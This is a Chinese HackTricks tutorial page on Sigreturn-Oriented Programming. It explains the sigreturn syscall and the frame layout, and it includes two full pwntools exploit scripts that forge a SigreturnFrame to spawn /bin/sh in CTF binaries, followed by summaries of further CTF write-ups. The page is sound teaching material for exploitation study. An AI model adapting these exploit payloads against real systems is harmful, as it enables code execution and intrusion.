# SROP - Sigreturn-Oriented Programming

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**`Sigreturn`** 是一个特殊的**系统调用**，主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了某些异常情况。当程序接收到信号时，它会暂时暂停当前工作，使用**信号处理程序**（专门设计用于处理信号的特殊函数）来处理信号。

信号处理程序完成后，程序需要**恢复其先前状态**，就好像什么都没有发生一样。这就是\*\*`sigreturn`**发挥作用的地方。它帮助程序**从信号处理程序返回\*\*，通过清理被信号处理程序使用的栈帧（存储函数调用和局部变量的内存部分）来恢复程序的状态。

有趣的部分是\*\*`sigreturn`**如何恢复程序的状态：它通过将**CPU的所有寄存器值存储在栈上**来实现。当信号不再被阻塞时，**`sigreturn`从栈中弹出这些值\*\*，有效地将CPU的寄存器重置为处理信号之前的状态。这包括栈指针寄存器（RSP），它指向栈的当前顶部。

{% hint style="danger" %}
从ROP链中调用系统调用\*\*`sigreturn`**，并在**栈**中**添加要加载的寄存器值\*\*，可以**控制**所有寄存器值，从而例如**调用**系统调用`execve`并执行`/bin/sh`。
{% endhint %}

请注意，这将是一种更容易控制参数以调用其他Ret2syscalls的**Ret2syscall**类型：

{% content-ref url="rop-syscall-execv" %}
[rop-syscall-execv](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv)
{% endcontent-ref %}

如果您感兴趣，这是存储在栈中以后恢复值的**sigcontext结构**（来自[**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)的图表）:

```
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
```

为了更好地解释，请查看：

{% embed url="<https://youtu.be/ADULSwnQs-s?feature=shared>" %}

## 示例

您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过ROP构造了对signeturn的调用（将rxa中的值设置为`0xf`），尽管这是从那里得到的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()
```

请查看[**这里的漏洞**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)，二进制文件已经在调用`sigreturn`，因此不需要使用**ROP**构建它：

```python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()
```

## 其他示例和参考资料

* <https://youtu.be/ADULSwnQs-s?feature=shared>
* <https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop>
* <https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html>
* 允许**向堆栈写入**并调用\*\*`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn\*\*结构在堆栈上写入[**ret2syscall**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv)，并读取存储在二进制文件内存中的标志。
* <https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html>
* 允许**向堆栈写入**并调用\*\*`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn\*\*结构在堆栈上写入[**ret2syscall**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv)（二进制文件包含字符串`/bin/sh`）。
* <https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html>
* 64位，无relro，无canary，nx，无pie。利用`gets`函数的简单缓冲区溢出，缺少执行[**ret2syscall**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv)的gadgets。ROP链通过再次调用gets在`.bss`中写入`/bin/sh`，利用\*\*`alarm`**函数将eax设置为`0xf`以调用**SROP\*\*并执行shell。
* <https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html>
* 64位汇编程序，无relro，无canary，nx，无pie。该流程允许在堆栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。所选的系统调用是`sigreturn`，将设置寄存器并将`eip`移动到调用先前系统调用指令的位置，并运行`memprotect`以将二进制空间设置为`rwx`并将ESP设置在二进制空间中。按照流程，程序将再次调用ESP读取，但在这种情况下，ESP将指向下一条指令，因此传递shellcode将将其写入为下一条指令并执行它。
* <https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection>
* 使用SROP将执行权限（memprotect）授予放置shellcode的位置。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
